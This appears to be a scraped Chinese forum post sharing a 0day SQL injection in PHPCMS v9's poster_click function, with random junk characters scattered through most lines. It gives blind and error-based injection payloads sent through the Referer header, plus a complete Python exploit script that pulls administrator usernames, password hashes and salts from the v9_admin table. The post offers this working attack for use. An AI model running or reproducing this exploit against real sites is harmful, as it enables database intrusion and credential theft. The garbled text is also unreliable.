有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:$ U" C. @9 E6 @& ]$ H4 x0 k
" Z% e+ z( E6 h/ b v; k问题函数\phpcms\modules\poster\index.php$ E) F8 K1 ~- | ]! f2 ~
' F1 Z# b L; q- W" S+ F3 P# F
public function poster_click() {3 {$ ~. X6 J) e: R, j5 M4 a5 T# \
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
7 u6 j/ S8 H8 I; w9 i' H" ~ z$r = $this->db->get_one(array('id'=>$id));
( e1 s* B; m+ b8 y" y3 ~if (!is_array($r) && empty($r)) return false;
* P: a. W, J7 O' h& D: f' @$ip_area = pc_base::load_sys_class('ip_area');
8 S& y3 M) B0 w0 v$ip = ip();
8 L& h! j& Q. w( v$area = $ip_area->get($ip);
$ _3 ]/ g0 f6 A" D3 K$username = param::get_cookie('username') ? param::get_cookie('username') : '';& H/ |0 R3 F' R l, t
if($id) {
2 j# n7 d, z5 B4 H! \$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
+ w! {/ j8 B1 Z x' L8 D! P; c$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));/ s; ^+ Y6 T$ p; `7 @
}
, }, d* {) }& ?) B$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));1 R' `7 W2 C+ }
$setting = string2array($r['setting']);6 Z6 F' t& `2 w, o
if (count($setting)==1) {4 D h$ K+ ?. ]9 L
$url = $setting['1']['linkurl'];
1 `% t4 c4 z$ Z6 J} else {; E- y1 l5 Q, N' x+ n& G5 g
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
4 s2 B; j4 U& z1 c+ n) u2 r}
+ r) ]- j$ P' Q) U. oheader('Location: '.$url);
+ ?$ r) d6 S" ~5 @, G+ T( H! ]}% ]" d! l3 b& e' U
7 u4 d. K; @* K+ X 1 R, s T) X9 q) x7 s- B
+ M% s! q5 Z! X( @. @( R! h z/ O' ~& H利用方式:
- N5 [) X& f4 X k2 o
8 J- j) L1 R; {. ` {1、可以采用盲注入的手法:
: A& i3 e- J' z! g) Q7 l/ I
0 L* k( S. ~7 O0 {: w( Creferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#& v: p' P7 b7 D0 ^
4 I; r$ g1 Z7 X5 H- d通过返回页面,正常与否一个个猜解密码字段。
# _2 s h$ h, u' t& K/ ?) E+ ~4 n0 M. R, j( M. D
2、代码是花开写的,随手附上了:8 A) ~. W$ A, G, C7 P5 }4 ^
+ i& ?/ R# G- e
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
; \2 ]$ n3 {3 P6 B9 a0 q. e8 h# ], y' ^
此方法是爆错注入手法,原理自查。
9 ^# L( e& ?) B0 l' g
6 z% L9 k$ F! f& X3 Y) `' e
) z2 q8 m4 X* A/ N2 E7 a
6 ?7 K9 S: Z4 [3 [1 m) x' |利用程序:" f$ z; G# s" y/ Z- n
$ G9 Y& }8 |# z, W* C: y#!/usr/bin/env python
8 i r( s% C' Wimport httplib,sys,re4 G8 r. I& @1 T X+ P
2 C" {: m3 t" k b/ H
def attack():
N# k$ M2 {4 h$ p, L* B, vprint “Code by Pax.Mac Team conqu3r!”
8 `4 B5 |9 m0 r5 fprint “Welcome to our zone!!!”
0 {' l7 f% Q+ E, A( f& d- h: |url=sys.argv[1]- v0 i2 I% W" A- o; H& c9 B
paths=sys.argv[2]
% `, a+ q. J O* `2 p8 I! iconn = httplib.HTTPConnection(url)
: x' ~" ? N# c( V0 M8 si_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
- l+ R \0 k8 G# k“Accept”: “text/plain”,
% d, a8 O) j% w" z+ w“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
! M# J3 X) W J# ?' }conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
2 k/ x% `7 b. c; Y3 ?r1 = conn.getresponse()
/ Q8 m. f4 d1 t, edatas=r1.read()
" I5 x0 u5 B9 t; D1 a2 jdatas=re.findall(r”Duplicate entry \’\w+’”, datas)
" n9 b1 O6 J. l) r/ ~print datas[0]
# {7 C# y0 j c- C- Y) N$ I- uconn.close()% I0 K1 ~/ ]5 c
if __name__==”__main__”:
5 U* i+ L4 A3 d. Q0 |* b* F; `- bif len(sys.argv)<3:
: `7 O# B2 x0 R: ^! I# }" ]print “Code by Pax.Mac Team conqu3r”
& A. q- t6 p: E- lprint “Usgae:”3 v5 |( J) G- v$ ]0 {
print “ phpcmsattack.py www.paxmac.org /”/ J' l4 b0 r/ i- A
print “ phpcmsataack.py www.paxmac.org /phpcmsv9/”
! r% k( K- H8 N( D& E! n# P' ssys.exit(1)
% [- N# O8 N1 V dattack() J! b& `6 I( [' o0 i* B- h1 E" Q
0 T% k) B$ ?3 E
|